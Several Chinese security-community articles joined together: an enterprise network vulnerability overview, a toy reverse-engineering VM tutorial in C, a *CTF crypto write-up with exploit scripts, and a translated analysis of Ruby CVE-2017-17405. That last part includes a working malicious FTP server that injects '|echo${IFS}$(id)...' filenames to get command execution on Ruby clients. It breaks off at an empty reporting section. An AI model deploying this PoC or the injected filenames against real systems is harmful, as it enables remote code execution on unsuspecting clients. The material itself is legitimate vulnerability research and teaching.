> 3. 建设网络安全体系的成本是多少？
>
>
>
>
下面来简单的概述下,网络安全包含以下几方面内容（肯定是不全的）：
> 网络实体安全
>
> 传输安全
>
> 系统和应用安全
>
> 安全管理
>
> 数据安全
我们建设网络环境时，肯定得搭建起整个网络架构，网络架构图是必须得画的。这样不至于出差错不知道从何处改起。
如果是已搭建起的网络，其首要任务是摸清企业整个网络的现状，这样才好对症进行安全改造。
**网络运行环境**
企业网络上存在着财政平台、办公平台、审批系统等业务应用，为企业员工或者企业外用户提供服务，网络中运行着涉密或敏感工作的信息。
**网络安全脆弱性**
由于现代网络的复杂性，网络牵扯到的业务也不再像以前那么的单一，企业网络来自于各方面的安全威胁，要分析网络的脆弱性，就要结合网络的实际情况分析所面临的威胁。脆弱性分析应从物理层，网络层，系统层，应用层，管理层五个层面进行分析：
（一）物理层脆弱性分析
1. 恶意的物理破坏
企业网络各节点交换机和服务器设备均封闭在单独的房间内，这些房间主要由管理人员负责管理，在物理上实现了安全保护，但目前不能做到实时监控和告警。
因为或多或少企业的网络管理不可能达到国家层面的高度，这样很不现实，我们能够做的只是尽可能的做到相对安全，其他的只能看管理人员的责任心和安全意识。
1. 电力中断
企业网中各节点设备的用电问题，一般的电力故障仅会造成区域故障，但中心机房电力由企业机房单线供电。突然的电力中断会导致服务无法正常提供，一定会造成数据丢失，为什么说一定，我们可以知道的是，有哪个企业的机房服务器或者是办公电脑的数据是时时保存或者备份的，所以断电造成的损失看企业的业务能力而定了。企业一定要有自己的备用电源，这样在断电时不至于造成巨大的损失。
1. 消防
中心机房要建有消防系统，并纳入企业消防联动系统，实现了火灾报警与紧急处置，增加机房监控投入，提前监控消防动态，有可能一个地方的短路就可造成整个机房不可挽回的损失。还有机房的散热、湿度、卫生等也是需要管控的。
（二）网络层脆弱性分析
1. 非法外联
从网络边界安全的角度考虑，内网中的每个节点自身是一个安全孤岛，具备可信的性质，自身节点以外的区域为不可信区域，自身存在着遭受不可信区域攻击的危险性，那些没有受到任何访问控制保护的节点，其安全性就由节点内各个系统自身的安全性来决定。网络边界安全性能较弱。内网缺乏边界防护措施。在前文中讲过，在网络架构部署之初，我们就应该对网络的各个节点，也就是各个网络的出入口部署审计系统，以此来管控边界问题，虽不能杜绝非法外联，但是过滤和监控流量的效果是很好的。
1. 内部攻击
由多数的企业网络现状可以看出，我们的服务器和用户之间没有使用安全设备进行访问控制，其中的交互连接更无过滤之说，所有应用和系统由系统自身的安全性决定。但即使有访问控制功能，还需要防护针对应用或系统漏洞进行攻击的行为。也不排除内部用户（潜在攻击者）会使用攻击工具在内网中作一些攻击试探和信息收集，这有可能会造成业务服务中断。
内部网络监管需要技术和管理上并进才能保证安全，当然安全教育和硬件软件网络监控也是必不可少的。
1. 非法访问
一般企业内网中的普通员工用户安全意识不强，各系统口令设置缺乏合理性，安全性低，这为非法用户盗取数据库资源提供了可能，并且在内部局域网络中这种经常会出现的口令探测也同样缺乏有效的技术监管。主机操作系统漏洞和错误的系统设置也能导致非法访问的出现。所以在这方面企业应该有一些手段来管控。
1. 互联设备安全
企业网络中的互连设备中使用了大量的交换设备和路由器。当然也包括其他办公设备，如打印机、摄像头等等。
这些互连设备的弱管理口令，网络操作系统的版本太低也会使交换设备受到入侵和拒绝服务攻击，导致不能正常工作，影响信息系统的工作。这些物联网设备的通病就是共享性严重，虽然这是特性，但是这个特性所带来的威胁是很严重的。
举一个笔者遇到过的一个例子。
曾经笔者在实习时，遇到过一个物联网入侵的事件，当时正值wannacry勒索病毒爆发，公司某部门有几台办公电脑被入侵，找不到原因，怀疑是利用了MS17-010漏洞，事实上，公司早就做过了策略并在漏洞爆发前打上了微软补丁，在几经排查后，把源头定位在了打印机身上，这台打印机没有按照规范放进内网，而是直接暴露在公网，给了攻击者入侵机会。打印机、摄像头这类产品就会使用SNMP协议，SNMP协议通常密码都是不会改的，所以跑出敏感信息进而进行漏洞扩大化利用。笔者对打印机和摄像头进行过研究，缘由它们的共享性，即使不用协议，我都能够进行攻击，其中包括市面上100%品牌的打印机设备（能够算得上品牌的），如DOS攻击。
所以，只要是连上网络的设备，就都有可能成为攻击的对象。
（三）系统层脆弱性分析
系统层的主要问题在于以windows
2003/2008为主的应用服务器和数据库服务器上存在着重要信息，当然*nux系统的远程命令执行相对来说比较少，漏洞利用难度也是有的。由于企业各个网络不能互通，重要网络与互联网物理隔离，系统漏洞补丁不能及时更新，系统防火墙关闭，系统没有遵循最小权限原则进行安全策略配置。病毒和黑客攻击往往针对这些来进行。所以还是那句话，规范化生产和运维至关重要。
（四）应用层脆弱性分析
1. 恶意代码
恶意代码在windows平台上主要是病毒和黑客软件问题，病毒主要是从诸如U盘、外部数据交换等环境引入；黑客软件和攻击代码对服务器系统形成了威胁，这些黑客软件和攻击代码的散布非常广泛且下载容易简单。
1. 破坏信息完整性
信息完整性主要是指网络系统的重要应用数据遭到篡改和破坏，如果没有相应的备份措施和集中管理，一旦被攻击，数据遭到的破坏将是难以估计的。
1. 数据传输抵赖性
由于目前网络协议对安全性问题考虑得很少，所以单单依靠协议地址或一些简单的通信标志来判定攻击者的身份是很难的，也是证据不足的，高水平的攻击者在攻击时一定会掩饰自己的身份和标志，这样才不会暴露自己的身份。如果企业网络数据传输无法解决接受方和发送方的抗抵赖性问题，对发送有误数据或不承认传输数据的行为无法准确追究责任。应增加身份认证和数据加密传输管控措施。内部网络防监听态势感知的建设，能够有效防止此类事件。
1. 病毒的泛滥
企业网络的各应用和数据服务器都安装防病毒软件，系统对病毒的防护有保障。不过对于水坑式攻击难以有效防范，如果攻击者针对企业特别研发病毒，那么杀毒软件只能爱莫能助了，所以要有安全意识和态势感知加威胁情报来支撑。
（五）管理层脆弱性分析
1. 操作失误
这是一个无法避免的问题，主要分为系统管理员和普通用户操作失误两种。前者的影响往往是致命的，直接危害到系统和数据安全；后者主要影响用户数据的完整性。
1. 人为的故意攻击
来自系统内部人员和非法外联用户的攻击是很难防范的，内部工作人员本身在重要应用系统上都有一定的使用权限，并且对系统应用非常清楚，一次试探性的攻击演练都可能会对应用造成瘫痪的影响，这种行为单单依靠工具的检测是很难彻底避免的，还应该建立完善的管理制度。
**企业安全需求**
针对网络安全脆弱性分析结果，总结广域网安全保密需求，总结如下：
（一）物理层
1. 对重要设备使用电磁泄漏发射干扰系统解决设备电磁泄漏问题。
2. 对重要线路使用网络线缆发射干扰系统解决线路电磁泄漏问题
3. 对重要区域使用环境监控系统解决重要区域环境信息不能实时监控和多方式报警问题。
4. 对重要区域使用双路供电，使用断电保护，配备备用电源，保障长时间断电网络服务不中断。
5. 保持机房干净整洁。
6. 完善网络布线架构的清晰。
7. 完善人员管控制度。
（二）网络层
1. 在各节点网络接口部分使用准入控制系统来解决边界访问防护问题。
2. 在各节点内部加固网络互连设备来解决网络互连的安全可靠性
3. 在中心机房和其他重要节点使用IPS、防火墙，进行攻击监控、入侵防护。
4. 监控各个节点应用和端口异常流量和外部异常访问。
5. 采用势态感知，及时封堵IP或流量端口。
（三）系统层
1. 针对不同的操作系统应用，遵循最小权限原则，完善系统安全策略配置，加强系统密码管理更新，解决这些应用的安全问题。
2. 加固各系统防病毒软件安全设置和病毒库更新，解决病毒传播、破坏和扩散问题。
3. 建设系统漏洞补丁服务器，解决系统漏洞补丁不能及时更新的安全问题。
4. 每月一次基线检测，确保基线配置合规。
（四）应用层
1. 建设身份认证系统，解决破坏信息完整性、数据传输抵赖、假冒、窃听等问题。
2. 加固各应用系统自身安全配置解决服务引用的安全问题。
3. 建设安全审计系统，解决系统资源审计问题。
4. 建设灾备系统，在重要信息系统和数据遭受恶意攻击或物理损坏时可及时恢复。 | 社区文章 |
考试周终于过去了，是时候又要开始学习了。所以就研究下逆向中的虚拟机保护技术，下面记录下学习的过程以及一些收获。
### 基础概念
逆向中的虚拟机保护是一种基于虚拟机的代码保护技术。它将基于x86汇编系统中的可执行代码转换为字节码指令系统的代码，来达到不被轻易逆向和篡改的目的。简单点说就是将程序的代码转换自定义的操作码(opcode)，然后在程序执行时再通过解释这些操作码，选择对应的函数执行，从而实现程序原有的功能。
#### vm_start：
虚拟机的入口函数，对虚拟机环境进行初始化
#### vm_dispatcher:
调度器，解释opcode，并选择对应的handle函数执行，当handle执行完后会跳回这里，形成一个循环。
#### opcode :
程序可执行代码转换成的操作码
#### 虚拟机执行的基本流程
### 实现一个小型的虚拟机
这里我通过实现一个简化版的小型虚拟机来加深对虚拟机的认识，语言用的是C语言。
要想实现虚拟机的话需要完成两个目标：
1. 定义一套opcode
2. 实现opcode的解释器
opcode只是一个标识，可以随便定义，这里我定义了4条指令，每条指令分别对应着一个字节的字节码。而opcode的解释器是用来对opcode进行解释，从而选择对应的handle函数执行。
#### 定义opcode
enum opcodes
{
MOV = 0xf1,
XOR = 0xf2,
RET = 0xf4,
READ = 0xf5,
};
因为我只是为了理解，所以就只定义了几个常用指令。这里我用了共用体来定义opcode，比较方便。
#### 实现解释器
opcode定义完后，就可以开始实现解释opcode的解释器了。解释器我们需要实现一个虚拟环境以及各个opcode对应的handle函数。虚拟环境则是真实物理机的一个虚拟，是自己定义的字节码运行的环境。
#### 一些关键的结构体
##### vm_cpu
typedef struct vm_cpus
{
int r1; 虚拟寄存器r1
int r2; 虚拟寄存器r2
int r3; 虚拟寄存器r3
unsigned char *eip; 指向正在解释的opcode的地址
vm_opcode op_list[OPCODE_N]; opcode列表，存放了所有的opcode及其对应的处理函数
}vm_cpu;
##### vm_opcode
typedef struct
{
unsigned char opcode;
void (*handle)(void *);
}vm_opcode;
其中
r1-r3是我定义的通用寄存器，用来传参或者是存放返回值，eip指向正在解释的opcode的地址，op_list则存放了所有opcode及其对应的handle函数。
实现了虚拟环境后就可以开始实现解释器了。解释器的功能就是对opcode解析，选择相应的handle函数，并且将相应的参数传递给handle函数。由handle函数来解释执行一条指令
#### 关键函数
##### vm_init
void vm_init(vm_cpu *cpu) //初始化虚拟机环境
{
cpu->r1 = 0;
cpu->r2 = 0;
cpu->r3 = 0;
cpu->eip = (unsigned char *)vm_code; //将eip指向opcode的地址
cpu->op_list[0].opcode = 0xf1;
cpu->op_list[0].handle = (void (*)(void *))mov; //将操作字节码与对应的handle函数关联在一起
cpu->op_list[1].opcode = 0xf2;
cpu->op_list[1].handle = (void (*)(void *))xor;
cpu->op_list[2].opcode = 0xf5;
cpu->op_list[2].handle = (void (*)(void *))read_;
vm_stack = malloc(0x512);
memset(vm_stack,0,0x512);
}
##### vm_start
void vm_start(vm_cpu *cpu)
{
/*
进入虚拟机
eip指向要被解释的opcode地址
*/
cpu->eip = (unsigned char*)opcodes;
while((*cpu->eip)!= RET)//如果opcode不为RET，就调用vm_dispatcher来解释执行
{
vm_dispatcher(*cpu->eip);
}
}
##### vm_dispatcher
void vm_dispatcher(vm_cpu *cpu)
{
int i;
for(i=0 ; i < OPCODE_N ; i++)
{
if(*cpu->eip == cpu->op_list[i].opcode)
{
cpu->op_list[i].handle(cpu);
break;
}
}
}
##### handles
void mov(vm_cpu *cpu);
void xor(vm_cpu *cpu); //xor flag
void read_(vm_cpu *cpu); //call read ,read the flag
void xor(vm_cpu *cpu)
{
int temp;
temp = cpu->r1 ^ cpu->r2;
temp ^= 0x12;
cpu->r1 = temp;
cpu->eip +=1; //xor指令占一个字节
}
void read_(vm_cpu *cpu)
{
char *dest = vm_stack;
read(0,dest,12); //用于往虚拟机的栈上读入数据
cpu->eip += 1; //read_指令占一个字节
}
void mov(vm_cpu *cpu)
{
//mov指令的参数都隐藏在字节码中，指令表示后的一个字节是寄存器标识，第二到第五是要mov的数据在vm_stack上的偏移
//我这里只是实现了从vm_stack上取数据和存数据到vm_stack上
unsigned char *res = cpu->eip + 1; //寄存器标识
int *offset = (int *) (cpu->eip + 2); //数据在vm_stack上的偏移
char *dest = 0;
dest = vm_stack;
switch (*res) {
case 0xe1:
cpu->r1 = *(dest + *offset);
break;
case 0xe2:
cpu->r2 = *(dest + *offset);
break;
case 0xe3:
cpu->r3 = *(dest + *offset);
break;
case 0xe4:
{
int x = cpu->r1;
*(dest + *offset) = x;
break;
}
}
cpu->eip += 6;
//mov指令占六个字节，所以eip要向后移6位
}
##### 要执行的伪代码
解释器到这就实现完了。接下来是要将想要实现功能的伪代码转成自定义的opcode，伪代码的功能是从标准输入中读取12个字节的字符串，然后将读入的字符串每个字符与0x0还有0x12进行异或，并且将结果存储在虚拟机的栈上。写出来大致就是下面这样子
/*
call read_
MOV R1,flag[0]
XOR
MOV R1,0x20; //这是将R1的值送到vm_stack+0x20的位置，后面的同上
MOV R1,flag[1]
XOR
MOV R1,0x21;
MOV R1,flag[2]
XOR
MOV R1,0x22
MOV R1,flag[3]
XOR
MOV R1,0x23;
MOV R1,flag[4]
XOR
MOV R1,0x24;
MOV R1,flag[5]
XOR
MOV R1,0x25;
MOV R1,flag[6]
XOR
MOV R1,0x26;
MOV R1,flag[7]
XOR
MOV R1,0x26
MOV R1,flag[7]
XOR
MOV R1,0X27
MOV R1,flag[7]
XOR
MOV R1,0x28
MOV R1,flag[7]
XOR
MOV R1,0X29
MOV R1,flag[7]
XOR
MOV R1,0x2A
MOV R1,flag[7]
XOR
MOV R1,0x2b
*/
将它转换成对应的字节码，然后用解释器去解释执行就可以实现伪代码的功能。
unsigned char vm_code[] = {
0xf5,
0xf1,0xe1,0x0,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x20,0x00,0x00,0x00,
0xf1,0xe1,0x1,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x21,0x00,0x00,0x00,
0xf1,0xe1,0x2,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x22,0x00,0x00,0x00,
0xf1,0xe1,0x3,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x23,0x00,0x00,0x00,
0xf1,0xe1,0x4,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x24,0x00,0x00,0x00,
0xf1,0xe1,0x5,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x25,0x00,0x00,0x00,
0xf1,0xe1,0x6,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x26,0x00,0x00,0x00,
0xf1,0xe1,0x7,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x27,0x00,0x00,0x00,
0xf1,0xe1,0x8,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x28,0x00,0x00,0x00,
0xf1,0xe1,0x9,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x29,0x00,0x00,0x00,
0xf1,0xe1,0xa,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x2a,0x00,0x00,0x00,
0xf1,0xe1,0xb,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x2b,0x00,0x00,0x00,
0xf1,0xe1,0xc,0x00,0x00,0x00,0xf2,0xf1,0xe4,0x2c,0x00,0x00,0x00,
0xf4
};
至此，一个简化版的小型虚拟机就实现完了。我在虚拟机中实现了对输入字符串简单的异或加密，并将加密后的值存储到指定位置。我觉得这个过程是十分有意义的，让我加深了对虚拟机保护的了解。因为能力有限，所以就只实现了一个很简单的小型虚拟机。虚拟机相关的题目还没有做，等有时间再去做一下。
最后将代码放在附件上，有需要的可以下载。 | 社区文章 |
# starCTF-crypto部分
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
临近五一事情比较多，基本用的是零碎的时间玩的*ctf，有些题目还是很有趣的
## babyprng
首先看一下主要代码：
def run(self, code):
stack = []
out = []
cnt = 0
random.seed(os.urandom(8))
self.TH = 0.7 + random.random()*0.25
for _ in xrange(self.SIZE):
stack.append(self.randbit())
try:
pos = 0
for _ in xrange(self.SIZE*10):
c = code[pos]
pos += 1
if c=='x00':
out.append(stack[-1])
elif c=='x01':
if stack[-1]==1:
pos += 1
elif c=='x02':
del stack[-1]
elif c=='x03':
stack[-1] = stack[-1]&stack[-2]
elif c=='x04':
stack[-1] = stack[-1]|stack[-2]
elif c=='x05':
stack[-1] = stack[-1]^stack[-2]
#elif c=='x06':
# stack[-1] = 1-stack[-1]
#elif c=='x06':
# stack.append(stack[-1])
elif ord(c)>=0x10 and ord(c)<=0x30:
pos += ord(c)-0x10
elif ord(c)>=0x30 and ord(c)<=0x50:
pos -= ord(c)-0x30
首先TH随机生成的值大概会在0.8左右，后面就以TH=0.8来讨论，那么按照算法，stack中大概有80%为0，20%为1
我们要做的是使得最终的out有大约一半的0和一半的1，而且元素的个数不能太少，我做这种题目喜欢在本地搭建，因为proof_of_work等待的时间实在有点长
我们关注第三个，第四个，第五个操作，列举出stack最后两个元素的可能情况和经过这些操作后的值：
出现的概率 | 最后两个元素可能的值 | 与操作 | 或操作 | 异或操作
---|---|---|---|---
64% | 00 | 00 | 00 | 00
16% | 01 | 00(改变) | 01 | 01
16% | 10 | 10 | 11（改变） | 11（改变）
4% | 11 | 11 | 11 | 10（改变）
### 自己的解法
观察到对于10来说^操作可以将其变为11而11又可以变成10，这样最后一位就可以在我们的控制下做周期性的交替了，而且最后两步操作是可以重新将pos指针重新指向code的任意位置的，如此一来就能实现周期性的循环操作，所以解法是在一个周期的前半周期里重复执行0的操作，然后中间执行一次异或操作，改变最后一元素的值，后半周期再重复执行0操作，这样就能再一个周期里取一半的0再取一半的1了
上面能成功的前提条件是stack最后两位的初始值为10或者11，可能的概率为16%+4%=20%，所以如果没有成功的话多尝试几次就可以了，exp：
from socket import *
from libnum import *
import string
from re import *
from hashlib import sha256
def connect(host, port):
s = socket()
s.connect((host, port))
return s
def cal(proof, ans, set):
for i in set:
for j in set:
for k in set:
for m in set:
if sha256(i+j+k+m+proof).hexdigest() == ans:
print i+j+k+m
return i+j+k+m
def proof_of_work(s):
msg = s.recv(1024)
print msg
set = string.ascii_letters+string.digits
reg = 'sha256(XXXX+(.+)) == (.+)n'
regexp = compile(reg)
res = regexp.findall(msg)
proof = res[0][0]
ans = res[0][1]
print s.recv(1024)
s.send(cal(proof, ans, set))
print s.recv(1024)
def main():
host = '34.92.185.118'
port = 10002
s = connect(host, port)
proof_of_work(s)
msg = chr(0)*15+chr(5)+chr(0)*15+chr(0x50)
print msg.encode('hex')
s.send(msg.encode('hex')+'n')
print s.recv(1024)
if __name__ == '__main__':
main()
### 官方的解法
先来看exp（稍微有改动，因为我觉得有一步貌似没必要= =）：
msg = 'x02x02x051x35x02'+'x00'*10+'x40'
上个自己画的图：
可以看到流程就是利用跳转来实现循环语句，直到异或以后最后一位为1，然后删掉1，取倒数第二位10次，然后再删除这一位，继续异或，重复操作。
通过异或使得最后一位为1只有两种可能10和01，且这两种情况等概率出现（均为16%），所以倒数第二位为0或者1的概率各为50%，也即算法等价于在每个周期等概率的取0或者1，这样的话成功的概率就很大了
## babyprng2
核心代码：
def run(self, code):
stack = []
sequence = []
out = []
cnt = 0
random.seed(os.urandom(8))
self.TH = 0.7 + random.random()*0.25
for _ in xrange(self.SIZE):
stack.append(self.randbit())
try:
pos = 0
for _ in xrange(self.SIZE*0x10):
c = code[pos]
pos += 1
if c=='x00':
out.append(stack[-1])
del stack[-1]
elif c=='x01':
if stack[-1]==1:
pos += 1
elif c=='x02':
stack[-1] = stack[-1]&stack[-2]
elif c=='x03':
stack[-1] = stack[-1]|stack[-2]
elif c=='x04':
stack[-1] = stack[-1]^stack[-2]
elif c=='x05':
sequence.append(stack[-1])
del stack[-1]
elif c=='x06':
sequence.insert(0,stack[-1])
del stack[-1]
elif c=='x07':
if len(stack)>=2:
pos += 1
elif c=='x08':
stack+=sequence[::-1]
sequence=[]
elif ord(c)>=0x10 and ord(c)<=0x1a:
pos += ord(c)-0x10
elif ord(c)>=0x30 and ord(c)<=0x3a:
pos -= ord(c)-0x30
这道题和上面题目的区别：
delta更小、out append的时候每次还会把栈删除、多了对seq的操作，循环的次数更多，而要求out的元素更少
### 自己的解法
由于可以做判断是否为一，那么我可以在一个周期里第一步取0，如果不是0就丢弃然后重复判断（送入seq），如果是0就判断下一个是否为1，如果是1就进入下一个周期，如果不是的话就丢弃然后再重复判断，这样相当于每个周期都在重复的取01
画成图就是这个样子：
或者这个样子
但是这样并不能实现，因为误删除元素（送入seq）的有很多，循环还没结束就会因为stack的元素全部没有了而报错，导致out的元素个数就不够了，本地测试最多也就在2万左右，达不到3万，但是我们有一个判断stack元素还剩多少的方法，当stack要空了的时候只要用第8个方法把seq的元素重新放回stack重复利用就行了，虽然构造有点麻烦，但总归是可以实现的：
对应poc：01140708053607080001140708003a0708053a
## notcurves
题目有一个非常严重的Bug，导致了非常严重的非预期
self.dosend("please give me a point(pi,qi): n")
R = self.recvpoint(30)
(u,v) = R
print R
if (u*v)%p == 0:
self.dosend("%sn" % FLAG)
else:
self.dosend(">.<n")
self.request.close()
没有检查参数R，所以R可以是(0, 0)，直接就能过，应该大部分人都是这样做出来的吧。。。
比赛结束以后我还是很兴奋的重新看了一下，毕竟ECC椭圆曲线的题目很少，但是由于这道题没有官方wp，所以我也只能猜测一下出题人的预期解
首先在循环里能做的操作其实只有3个，第一个是ADD方法，实现的功能是求椭圆曲线上两点相加的结果，第二个是MUL方法，实现的功能是在椭圆曲线上求一个点的倍数，而我觉得预期解法应该是最后一个DIV方法
def DIV(self):
self.dosend('input point A: n')
A = self.recvpoint(30)
self.dosend('input number t: n')
t = self.recvnum(10)
C = div(t,A)
self.dosend("the result is :"+str(C)+'n')
def div(t,A,B=0):
(u,v) = A
if (u*v) %p != 1:
#print u*v*sub((p,t))%p
return u*v*sub((p,t))%p
else:
return B
def sub(A):
(u,v) = A
v = v%p
if v > 2**11:
print u//v
return u//v
else:
return 0
仔细观察代码会发现这个方法并没有调用其他两个方法里的check_point方法，也就是不检查输入的点是否在椭圆曲线上，这就可以任意构造了，题目的要求是求出p的大小，而这个方法完全可以做到：
由于检查u、v不能直接为(1, 1)，所以可以令uv为(1, 2)最后返回的结果除以2就能得到sub(p,
t)的结果，而我们是大致知道p的范围的，因为p=getprime(15)*getprime(15)所以p的范围在pow(2, 29)到pow(2,
30)之间，如果令t也在pow(2, 29)到pow(2,
30)之间且p>=t的话，那么p//t结果一定是返回1，否则的话返回其他结果，那么我们就可以通过二分法查找来缩小范围，从而确定p的值（所以这道题和ecc有啥关系？。。。）
exp：
from socket import *
from libnum import *
import string
from re import *
from hashlib import sha256
def connect(host, port):
s = socket()
s.connect((host, port))
return s
def cal(proof, ans, set):
for i in set:
for j in set:
for k in set:
for m in set:
if sha256(i+j+k+m+proof).hexdigest() == ans:
print i+j+k+m
return i+j+k+m
def proof_of_work(s):
msg = s.recv(1024)
print msg
set = string.ascii_letters+string.digits
reg = 'sha256(XXXX+(.+)) == (.+)n'
regexp = compile(reg)
res = regexp.findall(msg)
proof = res[0][0]
ans = res[0][1]
print s.recv(1024)
s.send(cal(proof, ans, set))
print s.recv(1024)
def send4(s, msg):
print '4'
s.send('4n')
print s.recv(1024)
print '(1,2)'
s.send('(1,2)n')
print s.recv(1024)
print str(msg)
s.send(str(msg) + 'n')
res = s.recv(1024)
print res
print s.recv(1024)
reg = 'the result is :(.+)'
regexp = compile(reg)
r = regexp.findall(res)
num = r[0]
return int(num)
def main():
host ='127.0.0.1'
port = 20005
s = connect(host, port)
proof_of_work(s)
print s.recv(1024)
low = 2**29
high = 2**31
mid = (low + high) / 2
count = 0
while high>low:
if send4(s, mid)==2:
low = mid
else:
high = mid
tmp = mid
mid = (low + high) / 2
if mid == tmp:
count += 1
else:
count = 0
if count >5:
break
mid += 1
print 5
s.send('5n')
print s.recv(1024)
print (1, mid)
s.send('(1,%d)n'%mid)
print s.recv(1024)
print s.recv(1024)
if __name__ == '__main__':
main()
## 总结
不管是出题人有心还是无意，这次题目都有很多非预期的解法，也给题目增加了许多乐趣 | 社区文章 |
# Ruby CVE-2017-17405漏洞深入分析：发现Ruby FTP实现中的漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 ETIENNE STALMANS，文章来源：https://blog.heroku.com/
原文地址：<https://blog.heroku.com/identifying-ruby-ftp-cve>
译文仅供参考，具体内容表达以及含义原文为准。
> 译者总结：
>
> Heroku的团队通过对libcurl的CVE-2017-8817的FTP漏洞进行分析，并查找相似问题，发现了Ruby的FTP漏洞CVE-2017-17405（好像也没什么相似之处↓）。
> CVE-2017-8817是libcurl的FTP函数存在越界读问题。
> CVE-2017-17405是Ruby的FTP实现中使用了open函数，在一定条件下会使用FTP服务器所返回的文件名，进而得到open(“|
> command”)的形式来进行命令执行。
在Heroku，我们会持续的关注漏洞feed来得知新的漏洞。一旦新的漏洞发布，我们会对其进行分类并确定我们的平台和客户可能受到的影响。其中部分分析过程涉及评估原始漏洞报告中未提及的可能的攻击场景。我们也同样花时间寻找其他产品中的“相邻”和类似的错误。在此过程中发现了以下Ruby漏洞。
## 漏洞分类
[CVE-2017-8817](https://curl.haxx.se/docs/adv_2017-ae72.html)是一个`libcurl`漏洞。FTP函数在处理通配符时存在越界读取问题。只要漏洞被公开，我们会通过我们的各种系统来确定他们的影响范围与如何进行修补。Heroku的系统中所使用的`libcurl`被确定,并被标记为待打补丁。一旦我们确认所有实例都被标记，我们就开始研究可能存在类似问题的其他库。根据直觉，并且大量客户使用Ruby，我们决定查看Ruby的FTP实现。我们的方法是双重的，首先要确定Ruby是否使用`libcurl`为其FTP功能，如果是的话，这个漏洞是否可以在Ruby应用程序中触发。其次确定Ruby是否有自定义的FTP实现，是否也允许使用FTP通配符，如果使用，则确定问题是否存在于该实现中。
为了做我们的研究，我们下载了现在当下最新版的Ruby源代码（2.4.2版），并且`grep`到任何提及FTP的位置。
$ grep -i ftp -R *
ChangeLog:net/ftp: add a new option ssl_handshake_timeout to Net::FTP.new.
ChangeLog:net/ftp: close the socket directly when an error occurs during TLS handshake.
ChangeLog:Otherwise, @sock.read in Net::FTP#close hungs until read_timeout exceeded.
ChangeLog:net/ftp: close the connection if the TLS handshake timeout is exceeded.
事实证明，Ruby有它自己的FTP库，并且它被打包为 _net / ftp_ 。我们开始研究 _lib / net_
文件夹，本以为其中会有一个C语言实现的FTP库。结果发现只有一个孤立的
_[ftp.rb](https://github.com/ruby/ruby/blob/v2_4_2/lib/net/ftp.rb)_
文件，它仅有1496行代码。
## 漏洞
在阅读 _ftp.rb中_ 的代码时，有几个常见的可疑点需要注意：
* `command`
* `%x/command/`
* `IO.popen(command)`
* `Kernel.exec`
* `Kernel.system`
* `Kernel.open("| command")` 和 `open("| command")`
上述所有函数都是在Ruby应用程序中进行[远程代码执行（RCE）的](https://www.owasp.org/index.php/Ruby_on_Rails_Cheatsheet#Command_Injection)常用向量，因此它们是代码分析过程中首要考虑的项目之一。确定一些用于访问文件进行读写的`open`函数的位置并不需要很长时间。
看看这个`gettextfile`函数，我们可以看到一个用户可控数据的`open`调用：
778 #
779 # Retrieves +remotefile+ in ASCII (text) mode, storing the result in
780 # +localfile+.
781 # If +localfile+ is nil, returns retrieved data.
782 # If a block is supplied, it is passed the retrieved data one
783 # line at a time.
784 #
785 def gettextfile(remotefile, localfile = File.basename(remotefile),
786 &block) # :yield: line
787 f = nil
788 result = nil
789 if localfile
790 f = open(localfile, "w")
791 elsif !block_given?
792 result = String.new
793 end
794 begin
795 retrlines("RETR #{remotefile}") do |line, newline|
796 l = newline ? line + "n" : line
797 f&.print(l)
798 block&.(line, newline)
799 result&.concat(l)
800 end
801 return result
802 ensure
803 f&.close
804 end
805 end
`localfile`如果该值为`| os
command`将会触发命令执行。在一般用途中，大多数用户会提供自己的`localfile`值，不会依赖于默认值`File.basename(remotefile)`。但在某些情况下（例如列出和下载FTP中的所有文件），`remotefile`值将由远程主机控制，因此可能被操纵导致RCE。由于文件路径只是服务器返回的字符串（例如ls
-l风格的LIST命令，还有NLIST命令的文件名），因此不能保证所给文件名将是有效的文件名。
## PoC
我们编写了一个可用于漏洞测试的基本Ruby客户端。此客户端只需连接到服务器，请求文件列表，然后尝试下载所有文件。
require 'net/ftp'
host = '172.17.0.4'
port = 2121
Net::FTP.const_set('FTP_PORT',port)
Net::FTP.open(host) do |ftp|
ftp.login
fileList = ftp.nlst('*')
fileList.each do |file|
ftp.gettextfile(file)
end
end
我们的服务器需要给`NLIST`响应包含我们要执行的命令的文件名。由于没有对提供的文件名进行验证或清洗，它将会直接传递给`open`函数，并执行命令。唯一需要注意的是我们的
_“文件名”_ 需要从头开始`|`。
下面的PoC服务器代码不是您见过的最好的Ruby代码，但足以触发此漏洞并产生RCE。服务器需要模拟FTP连接的 _握手_
。这使得客户认为它正在连接到一个真实的FTP服务器，并且尽量让客户端请求一个文件列表。
require 'socket'
host = '172.17.0.4'
port = 2121
hostsplit = host.tr('.',',')
server = TCPServer.new port
loop do
Thread.start(server.accept) do |client|
client.puts "220 Attack FTPrn"
r = client.gets
puts r
client.puts "331 password please - version checkrn"
r = client.gets
puts r
client.puts "230 User logged inrn"
r = client.gets
puts r
client.puts "230 more data please!rn"
r = client.gets
puts r
client.puts "230 more data please!rn"
r = client.gets
puts r
wait = true
psv = Thread.new do
pserver = TCPServer.new 23461
Thread.start(pserver.accept) do |pclient|
while wait do
end
pclient.puts "|echo${IFS}$(id)${IFS}>pangrn"
pclient.close
end
end
sleep 1
client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)rn"
r = client.gets
puts r
psv.join
client.puts "150 Here comes the directory listing.rn"
wait = false
client.puts "226 Directory send OK.rn"
r = client.gets
puts r
client.puts "221 goodbyern"
client.close
end
end
当我们使用`pclient.puts "|echo${IFS}$(id)${IFS}>pangrn"`来提供`filelist`，将会使`echo
$(id) >
pang`连接客户端上运行。如果利用成功，我们会看到在客户端上创建的新文件，其中包含`id`命令的输出。虽然不是必须的，我们将空格“编码”为`${IFS}`,这是一个称为内部字段分隔符的特殊shell变量。这在空格导致payload出现问题的情况下非常有效。
## 报告和修复
